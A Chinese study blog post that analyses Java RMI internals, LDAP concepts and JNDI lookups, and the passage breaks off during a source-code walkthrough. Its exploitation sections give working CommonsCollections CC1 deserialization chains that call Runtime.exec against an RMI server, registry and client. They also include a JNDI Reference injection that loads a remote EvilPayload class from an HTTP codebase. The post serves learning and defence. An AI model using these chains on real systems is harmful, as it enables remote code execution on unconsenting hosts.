java安全-RMI&LDAP&JNDI原理分析学习
2023-02-09 17:00:00

0x00、前言

学习三个协议的源码分析,源码基础实现和漏洞分析学习写了很大篇幅,高版本绕过没写进去,费了挺长时间。

0x01、RMI

一、RMI描述

RMI(远程方法调用),java的一种用于实现远程过程调用的应用程序接口,采用分布式应用程序思想。

主要构成:
Client(客户端) :通过向注册中心获取服务端信息进而远程调用服务器。

  • 存根(skeleton)/桩(Stub):远程对象在客户端上的代理。
  • 远程引用层(Remote Reference Layer):解析并执行远程引用协议
  • 传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。

Server(服务端) :开启远程调用的服务器。

  • 骨架(Skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值。
  • 远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用。
  • 传输层(Transport):监听客户端的入站连接,接收并转发调用到远程引用层。

Registry(注册中心) :以URL形式注册远程对象,并向客户端回复对远程对象的引用。

引用官方的图:

其中实现远程方法的类必须实现Remote接口,并且该类必须继承UnicastRemoteObject类。
或者可以不继承UnicastRemoteObject类,调用UnicastRemoteObject.exportObject()手工进行初始化。

注:客户端和服务端的接口需要相同的包名才能序列化反序列化

二、RMI简单实现

简述实现过程:
服务器端(Server):

  • 先创建实现Remote的接口
  • 实现远程调用服务对象类
  • 创建服务端类,对实现Remote的接口对象生成远程调用服务类,通过注册中心绑定该调用对象。

客户端(Client):

  • 先创建实现Remote的接口
  • 通过注册中心获取远程调用服务端口,将服务名绑定给接口对象
  • 接口对象调用远程服务端程序执行方法。

1、服务端

实现Remote的对象接口:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIObject extends Remote {
public String hello(String hello) throws RemoteException;
}

实现调用服务类:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIObjectImpl extends UnicastRemoteObject implements RMIObject {
public RMIObjectImpl() throws RemoteException{
//UnicastRemoteObject.exportObject(this,0);
}
@Override
public String hello(String hello){
System.out.println("远程调用输出:"+hello);
return hello;
}

}

开启服务端:

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] agrs) throws RemoteException, AlreadyBoundException {
//创建远程调用对象,这一步已经开启远程调用服务了
RMIObject rmo=new RMIObjectImpl();
//创建注册中心绑定调用端口
Registry rg= LocateRegistry.createRegistry(1099);
//注册绑定调用服务
rg.bind("RMIObject",rmo);
}
}

2、客户端

实现Remote的对象接口:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIObject extends Remote {
public String hello(String hello) throws RemoteException;
}

客户端进行远程调用:

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry rg= LocateRegistry.getRegistry("127.0.0.1",1099);
RMIObject rc=(RMIObject) rg.lookup("RMIObject");
rc.hello("hey");
}
}

3、实现

客户端执行远程调用

服务端被调用执行

三、底层调试分析

涉及相关知识点描述:

  • TCPEndpoint:TCP端点,实现通讯的一个接口
  • ObjID:标识RMI运行时的远程对象,所有服务通过ObjID来调用
  • liveRef:将ObjID和TCPEndpoint进行封装起来连接使用
  • Target:封装远程对象的信息包括上述的信息

1、服务端创建

创建远程服务断点

跟进远程调用类

调用到父类UnicastRemoteObject的构造函数,端口为0(表示未设定端口,默认传入0,即后续会随机生成端口),继续跟进

通过exportObject导出远程对象,将远程调用类和端口传入,继续跟进

此时通过UnicastServerRef处理端口信息,处理完后再次调用exportObject导出远程对象

跟进UnicastServerRef方法,方法调用LiveRef类去处理port

跟进LiveRef构造方法,通过new objID()生成一个对象id,然后调用带LiveRef类的参构造方法

继续跟进带参构造方法

通过调用TCPEndpoint.getLocalEndpoint(port)方法对端口进行处理

跟进getLocalEndpoint方法,该方法经过TCP的相关属性建立,获取在本地地址中的TCP通信结点,端口为传进去的0,地址为本地ip地址。最后返回TCPEndpoint对象。

再通过Liveref构造方法,将ep、id、islocal属性赋值。

创建了liveref过后,再将liveref传入UnicastServerRef的父类构造函数创建远程服务引用当中

调用父类的构造函数,将livefref赋值给ref变量,可以看到liveref主要就是TCP连接的核心封装。

获取了ref过后,再对obj对象(此时为服务端的远程调用对象)和ref进行exportObject导出对象操作

过程中会判断obj对象是否属于UnicastRemoteObject类,属于则将sref赋值给ref,表示此时的ref为服务端的TCP结点信息,然后再调用srefexportObject导出对象操作

进入UnicastServerRef的导出操作中,通过反射获取到远程调用类,再创建stub存根(服务端创建stub存根,发送给注册中心,客户端从注册中心拿到stub存根,使用stub存根跟远程服务器进行通信),并对stub创建动态代理,代理handler处理还是由liveref处理请求。

最后将上面的信息通过target方法进行整合到一个对象上来,存放了stubimpl远程服务对象UnicastServerRef等信息。


其中UnicastServerRef的通信对象和stub的通信对象为同一个liveref,表示引用同一个网络通信

创建好target后,最后再将target通过exportObj方法导出来

即调用liverefexportObj,其中的epTCPEndpoint,再调用TCPEndpoint.exportObj()

再接着调用TCPTransport.exportObj()

通过listen()方法开启监听,开启网络socket通信


创建socket中,其中回对listenport监听端口进行判断,如果为0,则调用server.getLocalPort()方法

跟进server.getLocalPort()方法,调用getImpl().getLocalPort()getImpl()获取impl对象(即图中的DualStackPlainSocketlmpl对象),然后再调用getLocalPort()获取localport

此时的impl对象(DualStackPlainSocketlmpl)中已经存在localport,表明在此步骤前就已经生成了该impl对象的随机localport

往前追溯,发现impl对象的localportcreateServerSocket创建服务socket server的时候生成的,接着跟,下面的图都是调用情况,直接跟进






一直到PlainSocketlmpl.bind方法,此时implDualStackPlainSocketlmpl对象,当前localport还没有赋值

继续跟进,到AbstractPlainSocketlmpl.bind方法,再跟进socketBind方法

socketBind方法中通过localPort0方法生成的随机localport

回到主体来,判断listenport是否等于0,等于就将生成的随机localport赋值给监听端口,开启新线程等待连接后至此服务端已经将远程调用服务端口发布了出来

网络连接开始监听,开启新线程等待连接后至此服务端已经将远程调用服务端口发布了出来

最后调用父类exportObj方法将target发布

这里的作用主要是讲发布的target对象相关数据(ref、stub、impl等信息)存放在hashtable


最后完成整个发布过程,开启监听等待连接。

引用一张su18大佬的服务器远程调用执行图

2、注册中心创建

注册中心绑定对象方法:bind、unbind、rebind
查询对象的方法:lookup、list


在注册中心创建处下断点

创建代理方法中返回的new RegistryImpl对象,将绑定端口传入

跟进RegistryImpl

先是判断注册端口是不是默认的1099和安全管理器(System.getSecurityManager())是否开启,当前默认没有开启,因此会进入else代码段中

同服务器端创建一样,也创建了liveRef对象lref,端口为1099


然后通过setup方法将lref放入UnicastServerRef对象中然后传进setup方法中,当前环境的java版本(java-1.8.0_332)还将RegistryImpl对象进行注册表过滤

调用父类构造方法也是将liveRef传给Ref

返回后,进入setup方法,作用效果跟服务器端创建差不多,也对ref进行导出,只不过加了个permanent表示永久性,服务器端创建的为临时性。

导出方法相同,对RegistryImpl对象创建动态代理stub,不同的是创建代理中,由于RegistryImpl对象在jdk内置中存在RegistryImpl_stub,因此判断当前对象后缀_stub是否存在时,会返回true表示存在,进行判断体



进入createStub方法,将RegistryImpl对象和ref传入,方法比较容易理解,将ref传入RegistryImpl_stub对象并且实例化

RegistryImpl_stub对象的存根stub就创建好了

由于RegistryImpl_stub类是RemoteStub类的子类,因此会进入setSkeleton方法,传参为RegistryImpl对象

传入RegistryImpl调用createSkeleton方法,跟进

stub创建一样,都是反射调用自带对应后缀的方法,然后实例化RegistryImpl_Skel

创建完后,将上面的所有信息依旧是放入target中,然后将target进行exportObj导出

经过同样步骤监听后面再将信息存入到table表中,步骤同服务器端创建一样


到此注册中心创建完成

再查看绑定过程

绑定过程比较简单,将obj对象和绑定名称放入bindingshashtable表中进行存储

到这里,注册中心的创建和绑定就完成

3、客户端调用注册中心

连接注册中心下断点

跟进getRegistry函数

在客户端本地生成了liveRef,将ObjIDTCPEndpoint进行封装,hostport为输入指定的

然后将liveRef传入UnicastRef方法中,最后传递给ref对象,相当于再进行了一层封装

返回中调用createProxy创建注册代理,跟进createProxy

这里跟注册中心创建stub的步骤一样,通过反射调用实例化RegistryImpl_Stub创建的stub

到这Registry对象获取完成,接下来就是在注册中心lookup查找远程对象名

跟进lookup方法,先是通过newCall方法对代理stub获取远程连接,然后对远程连接流写入,写入对象为传进来的远程对象名称(目的是通过序列化传给注册中心我要查找的远程对象名是什么,注册中心再通过反序列化读取客户端传过来的数据)

写入过后,对call对象执行invoke方法操作,跟进

调用call.executeCall()方法,executeCall方法客户端对远程调用通信处理的核心,对获取的数据进行读取,包括读取远程对象的liveRefObjID


再将call通信中获取到的数据进行反序列化读取

读取后就获取到远程对象的动态代理stub信息了(ObjID、port、liveref等等)

完成获取后,就能直接跟服务器端远程通信了

4、注册中心处理客户端调用

第三部分学习分析的客户端角度的调用,接着看注册中心对客户端的处理,这里重点在连接监听开启后创建的线程中的TCPTransport.run方法,run方法调用run0方法,run0方法调用核心信息读取handleMessages方法

直接从监听中线程开启运行run方法中分析学习

run方法调用run0方法

run0调用主要的读取信息的方法handleMessages

handleMessages方法中下断点,然后在客户端进行请求,服务器端注册中心会抓到断点信息,这里获取到connection连接信息,获取TCP连接读取流,然后传递给op对象

根据op值选择条件分支,对conn连接信息创建远程调用对象call,再调用serviceCall方法

通过idtransport,在target表中获取到远程对象(客户端)的target信息

从远程target对象获取他的disp(UnicastServerRef)后,对其调用dispatch方法

进入dispatch方法后,先是获取读取流,然后判断skel是否存在(用来判断是服务端还是注册中心,注册中心存在skel

由于是注册中心,因此对进入调用oldDispatch方法(由于java版本不同,方法名和代码会有差别,但大体差不多,除了加的一些防御方法),继续跟进oldDispatch方法

在该方法最后,调用skel.dispatch方法

核心处理就在skel.dispatch方法当中,对不同的端进行不同的处理

  • 0表示调用的bind方法
  • 1表示调用的list方法
  • 2表示调用的lookup方法
  • 3表示调用rebind方法
  • 4表示调用unrebind方法

由于是客户端发起的,通过lookup调用查询远程对象名,因此会进入2分支

相关流程注释出来了(低版本则是直接readObject反序列化对象,这里只是反序列化字符串)

可以看到result已经获取到远程调用对象的liveref
resultlookup方法中获取,impllookup方法也是从bindingshashtable中获取远程对象名,返回给result


注册器处理客户端的大体的流程就到这完成

5、注册中心处理服务端调用

这里注册中心处理方法大体跟步骤4处理客户端的相同,不重复分析了,只是最后走进的分支不同,bind走进0分支

注:不同的是这实现的步骤是基于服务端和注册端不在一起的情况下,在一起的情况下,服务端bind直接就对注册中心的bindhashtable进行put

6、客户端调用远程服务器方法

调用处下断点

跟进会进入到invoke方法(在分析cc1-Lazymap链的时候提到,动态代理对象在调用方法的时候会先进入到动态代理类的invoke方法中,可起到拦截过滤的作用),因为当前对象RMIObject是一个动态代理对象,因此跟进会先进入对应代理类的Invoke方法中

跟进invoke方法,前面对代理类和方法归属类做一些判断,然后调用invokeRemoteMethod方法,参数为代理、方法名、参数

继续跟进invokeRemoteMethod方法,前面判断代理是否实现Remote远程类,再判断Method的归属类是否是Remote的子类,不满足的话会抛出异常,满足会进入UnicastRef.invoke方法

跟进UnicastRef.invoke方法,先是创建liveref的连接connection

再创建连接connection的远程连接流call

接下来对参数列表进行判断后序列化写入


上面完成后,对call流进行执行操作

其中releaseOutputStream方法是向对服务器远程调用序列化传输数据

跟进,out为写入流且存在,因此会调用flush()方法

跟进flush方法,会再次调用flush方法

其中drain方法由于pos为0,因此会直接返回


进入到BufferedOutputStream.flush()方法中


继续跟进flushBuffer()方法,在该方法中,对数据进行序列化写入

同时,服务器端进行反序列化解析数据读取客户端传过来的数据,并执行方法

执行后,客户端对写入流进行释放,写入执行过程就差不多结束

由于调用方法的返回类型为String返回的字符串,因此会进行反序列化读取返回来的字符串的操作

获取call的读取流,然后通过unmarshalValue方法根据返回类型进行反序列化读取数据(这里会涉及到服务器返回恶意序列化数据然后客户端本地反序列化读取导致被攻击)


反序列化获取数据后,最后释放掉连接,然后返回获取的字符串

至此主要执行过程结束

7、服务端处理客户端远程调用

这里的起始分析位置跟步骤四相同,都是通过开启监听后,创建线程连接调用的TCPTransport.run方法引入的,直接通过(方法调用情况:TCPTransport.run->run0->handleMessages->serviceCall->disp.dispatch->UnicastServerRef.dispatch)到重点部分

步骤4中提到skel是否为null是判断是服务端处理还是注册器端处理,注册器端处理过后返回给客户端后,客户端直接跟服务端进行通信,序列化数据传输过来后,服务端开始处理,此时服务端并没有skel,因此会跳过该判断

然后从读取流中读取方法名

获取到方法名后,通过unmarshalParameters方法将参数进行反序列化读取出来,前面分析过该方法了,就不分析了


读取过后,释放掉读取流,然后通过反射执行方法,得到方法的返回值


最后再将返回值通过marshalValue方法序列化写入传递给客户端


写入完,释放掉读取流、输入流,就完成了服务端对客户端数据的处理过程

8、DGC创建

DGC全名(Distributed Garbage Collection),是一种分布式垃圾回收机制,用来回收不用的远程对象,注册中心的创建过程中会创建DGC

跟进GDC创建,前面的分析在创建注册中心分析过了,直接到创建的关键步骤(putTarget

前文提到在创建过程会创建注册中心stub、skel等信息最终放到target里面,最后将target放到objtable

在最后一步putTarget中,会调用DGCImpl

DGC调用了一个静态方法dgcLog,在调用静态方法的时候会通过调用静态函数进行实例化DGC对象

DGC的静态方法中完成了对DGC的disp、stub、skel的创建,创建过程和注册中心的创建类似,不再重复分析,创建完后最后放进objtable表中


同注册中心一样,DGCImpl也存在自己的stubskel,执行位置也很相似,skel监听线程中通过dispatch方法执行分支
DGCImpl_Stub主要实现两个功能:cleandirty

clean的作用是清除回收远程连接对象,创建call连接流,将ObjId长度等序列化写入,然后调用invoke方法

在调用invoke方法时,在客户端调用注册中心的时候说过会最后执行executeCall方法对数据进行反序列化读取

dirty方法的作用是客户端调用服务器远程引用时,使用dirty来注册一个临时的远程引用,后续还想使用该远程引用,就再次使用dirty方法去续租
同样该方法也会调用invoke反序列化读取信息

然后DGC服务端的主要方法dispatch,可以看到和注册中心的执行模式非常相似

也主要有两个分支分别针对cleandirty


针对不同的方法调用都显示反序列化获取stub客户端先写入的信息ObjId租赁信息等,最后再通过DGCImplclean/dirty方法对远程引用进行清除和租赁。

由于Skel/stub都存在反序列化点,因此针对该DGC的攻击被称为JRMP攻击。

四、流程总结

直接引用java安全rmi文章总结,写的很清晰了

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。

  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。

  3. RemoteCall序列化RMI服务名称、Remote对象。

  4. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式(传输层)传输到RMI服务端的远程引用层。

  5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel.dispatch)。

  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。

  7. Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。

  8. RMI客户端反序列化服务端结果,获取远程对象的引用。

  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端

  10. RMI客户端反序列化RMI远程方法调用结果。

五、RMI利用

1、攻击服务端Server

客户端通过注册中心获取到通信服务器端的stub,客户端直接向服务端进行通信,服务端通过获取客户端的参数进行反序列化结合组件触发漏洞

示例环境:java版本8u66,服务器使用cc3.1组件,服务端存在Object参数传入

RMIObject:

public interface RMIObject extends Remote {
public String hello(String hello) throws RemoteException;
public void helloObj(Object obj) throws RemoteException;
}

RMIObjectImpl:

public class RMIObjectImpl extends UnicastRemoteObject implements RMIObject {
public RMIObjectImpl() throws RemoteException{
//UnicastRemoteObject.exportObject(this,0);
}
@Override
public String hello(String hello){
System.out.println("远程调用输出:"+hello);
return hello;
}
@Override
public void helloObj(Object obj){
System.out.println("远程调用obj输出:"+obj);
}

}

客户端调用cc1链对象传入

public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException,Exception {
Registry rg = LocateRegistry.getRegistry("127.0.0.1", 1099);
RMIObject rc = (RMIObject) rg.lookup("RMIObject");
rc.helloObj(payload());
}
public static Object payload()throws Exception{
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "aaa");
Map tmap = TransformedMap.decorate(map, null, transformerChain);
//反射获取AnnotationInvocationHandler的对象传入tmap
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance(Generated.class, tmap);
return obj;
}
}

运行结果:

2、攻击注册中心Registry

在底层调试分析注册中心处理客户端和服务端请求的时候提到,根据不同的分支进入对应的处理,其中客户端使用的lookup方法参数为字符串,因此不能通过lookup方法传递Object对象攻击注册中心,但服务端/客户端可调用bindrebind等方法绑定对象,将Object对象传入,注册中心再接收到服务端/客户端的bind对象进行反序列化读取时,触发漏洞
服务端:

public static void main(String[] agrs) throws RemoteException, AlreadyBoundException,Exception {
//创建远程调用对象
RMIObject rmo=new RMIObjectImpl();
//创建注册中心绑定调用端口
Registry rg= LocateRegistry.createRegistry(1099);
//Registry rg = LocateRegistry.getRegistry("127.0.0.1", 1099);
//注册绑定调用服务
rg.bind("RMIObject",rmo);
}

客户端向注册中心绑定恶意Bind
由于bind对象是需要Remote对象,因此调用的链最后需要将返回的对象添加一个动态代理返回给Remote对象即可,在cc1链上最后返回值加工一下即可

public static void main(String[] args) throws RemoteException, NotBoundException,Exception {
Registry rg = LocateRegistry.getRegistry("127.0.0.1", 1099);
//恶意bind,注册中心反序列化解析bind对象时触发漏洞
rg.bind("payload",payload());
}
public static Remote payload()throws Exception{
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
//反射调用AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//创建代理InvocationHandler对象调用AnnotationInvocationHandler类
InvocationHandler invohandler=(InvocationHandler)declaredConstructor.newInstance(Generated.class,Lmap);
//创建proxy代理对象,参数分别为Map加载器、Map类数组、InvocationHandler对象invohandler
Map proxymap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invohandler);
//通过代理调用代理对象,执行invoke方法
InvocationHandler invohandlerproxy=(InvocationHandler)declaredConstructor.newInstance(Generated.class,proxymap);
Remote remobj=(Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Remote.class},invohandlerproxy);
return remobj;
}

实现效果:

3、攻击客户端Client

客户端向注册中心请求会返回stub时,会反序列化解析数据导致漏洞,也可以在服务端放置恶意的方法返回对象,客户端调用服务端的方法时解析放回来的数据时导致漏洞。

原理相同这里以服务器端放置恶意方法返回给客户端进行解析触发漏洞举例

服务端:
RMIObject:

public interface RMIObject extends Remote {
public String hello(String hello) throws RemoteException;
public Object helloObj() throws RemoteException,Exception;
}

RMIObjectImpl放置恶意方法:

public class RMIObjectImpl extends UnicastRemoteObject implements RMIObject {
public RMIObjectImpl() throws RemoteException{
//UnicastRemoteObject.exportObject(this,0);
}
@Override
public String hello(String hello){
System.out.println("远程调用输出:"+hello);
return hello;
}
@Override
public Object helloObj() throws Exception{
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "aaa");
Map tmap = TransformedMap.decorate(map, null, transformerChain);
//反射获取AnnotationInvocationHandler的对象传入tmap
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance(Generated.class, tmap);
return obj;
}
}

客户端调用:

public static void main(String[] args) throws RemoteException, NotBoundException,Exception {
Registry rg = LocateRegistry.getRegistry("127.0.0.1", 1099);
RMIObject rc = (RMIObject) rg.lookup("RMIObject");
//调用服务端恶意方法
rc.helloObj();
}

执行效果:

0x02、LDAP

LDAP描述
引用:

LDAP是轻量目录访问协议(LightweightDirectory Access Protocol),是一种轻型目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。
目录是一个为查询、浏览和搜索而优化的数据库,是树状结构组织数据,通过TCP/IP传输服务运行。

LDAP作用是类似文件目录,而不是实际的数据库,功能作用比喻就是电话簿、地址簿。

LDAP服务常见端口:LDAP:389 LDAPS:636

引用文章中的原理图:

这里直接引用相关概念,写的很清楚了
以及引用概念:
目录树:

  1. 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
  2. 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。
  3. 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。
  4. 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。

DC、UID、OU、CN、SN、DN、RDN相关含义:

关键字 英文全称 含义
dc Domain Component 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置)
uid User Id 用户ID songtao.xu(一条记录的ID)
ou Organization Unit 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如“oa组”(一条记录的所属组织)
cn Common Name 公共名称,如“Thomas Johansson”(一条记录的名称)
sn Surname 姓,如“许”
dn Distinguished Name “uid=songtao.xu,ou=oa组,dc=example,dc=com”,一条记录的位置(唯一)
rdn Relative dn 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson”

0x03、JNDI

一、JNDI描述

JNDI(Java Naming and Directory Interface),命名和目录接口。

引用描述:

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

功能描述和框架:


实现效果就是通过一个字符串来绑定对象如(rmi、ldap、CORBA、dns等等),把这些服务当作容器,通过JNDI封装一下来调用这些容器,充当一个API的作用

二、简单实现

1、jndi-rmi原生调用

原生调用方式跟RMI差不多,相当于在RMI上套了一层壳去调用,相关漏洞也跟RMI漏洞一样

JNDI本身不区分客户端和服务端,由于绑定对象在服务端,因此在服务端进行的绑定JNDI,JNDIClient在服务端和客户端均可。
JNDIServer:

public static void main(String[] agrs) throws RemoteException, AlreadyBoundException,Exception {
InitialContext ic=new InitialContext();
ic.rebind("rmi://localhost:1099/RMIObject",new RMIObjectImpl());
}

JNDIClient:

public static void main(String[] args) throws RemoteException, NotBoundException,Exception {
InitialContext ic=new InitialContext();
RMIObject rl=(RMIObject) ic.lookup("rmi://localhost:1099/RMIObject");
System.out.println(rl.hello("hi"));
}

2、References-rmi注入(核心)

引用核心部分说明:

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

以及利用流程:

  • 1.目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;
  • 2.攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;
  • 3.攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;
  • 4.目标在进行 lookup()操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance()获取外部远程对象实例;
  • 5.攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到 RCE 的效果;

简述就是可以通过References引用远程用户自定义地址的factory工厂执行恶意代码。

实现:
JNDIServer端(通过References绑定远程地址和工厂):

public static void main(String[] agrs) throws RemoteException, AlreadyBoundException,Exception {
InitialContext ic=new InitialContext();
// ic.rebind("rmi://localhost:1099/RMIObject",new RMIObjectImpl());
Reference rf=new Reference("test","EvilPayload","http://localhost:8999/");
ic.rebind("rmi://localhost:1099/RMIObject",rf);
}

恶意远程地址:

恶意类:

public class EvilPayload {
public EvilPayload() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

客户端执行:

public static void main(String[] args) throws RemoteException, NotBoundException,Exception {
InitialContext ic=new InitialContext();
RMIObject rl=(RMIObject) ic.lookup("rmi://localhost:1099/RMIObject");
System.out.println(rl.hello("hi"));
}

3、References-ldap注入(核心)

利用流程很简单:通过客户端lookup查询远程ldap服务恶意类触发漏洞。

恶意地址类:

客户端启动ldap服务,将恶意地址类进行绑定:

客户端进行查询ldap服务,触发漏洞:

三、源码分析

1、jndi-rmi原生调用分析

这里其实流程不多的,前面提到了该调用方式,顺带学习下流程分析
JNDI-RMI服务端:

public static void main(String[] agrs) throws RemoteException, AlreadyBoundException,Exception {
InitialContext ic=new InitialContext();
ic.rebind("rmi://localhost:1099/RMIObject",new RMIObjectImpl());
}

JNDI-RMI客户端调用:

public static void main(String[] args) throws RemoteException, NotBoundException,Exception {
InitialContext ic=new InitialContext();
RMIObject rl=(RMIObject) ic.lookup("rmi://localhost:1099/RMIObject");
System.out.println(rl.hello("hi"));
}

在调用lookup处下断点

跟进InitialContext.lookup方法

通过getURLOrDefaultInitCtx方法获取字符串上下文,传递的为rmi路径字符串,判断字符串协议,获取到rmiURLContext上下文表(实际是一个hashtable

返回rmiURLContext上下文表后调用,rmiURLContext.lookup方法,实际调用rmiURLContext父类GenericURLContextlookup方法,继续跟进GenericURLContext.lookup方法

通过getRootURLContext方法对name字符串进行分割读取

分割完后通过RegistryContext方法获取注册信息

通过getRegistry方法获取到RegistryImpl_Stub的注册信息

调用注册中心获取注册中心stub

获取到过后回到主体,通过ResolveResult方法解析结果

实际就是将注册内容赋值给解析结果

获取到解析结果res,再调用getResolvedObj方法获取到解析结果对象(也就是RegistryContext

再调用RegistryContext.lookup方法

这里就是调用原生rmi的步骤了

调用RegistryImpl_stub.lookup方法,流程跟上面分析过的rmi的步骤一样通过lookup向注册中心查询远程对象,就不再分析了

返回了一个远程服务器的动态代理对象stub

然后调用decodeObject方法

decodeObject方法最先判断该远程对象(RemoteObjectlnvocationHandler)是否属于RemoteReference远程引用类,由于不属于就将该对象转化为Object对象

然后调用NamingManager.getObjectInstance方法,继续跟进,这里用注释解释一些步骤

public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{

ObjectFactory factory;

//使用工厂,若工厂变量存在被赋值,就用赋值的工厂去构建对象,默认为null
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

//判断对象是否实现Reference或者Referenceable
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
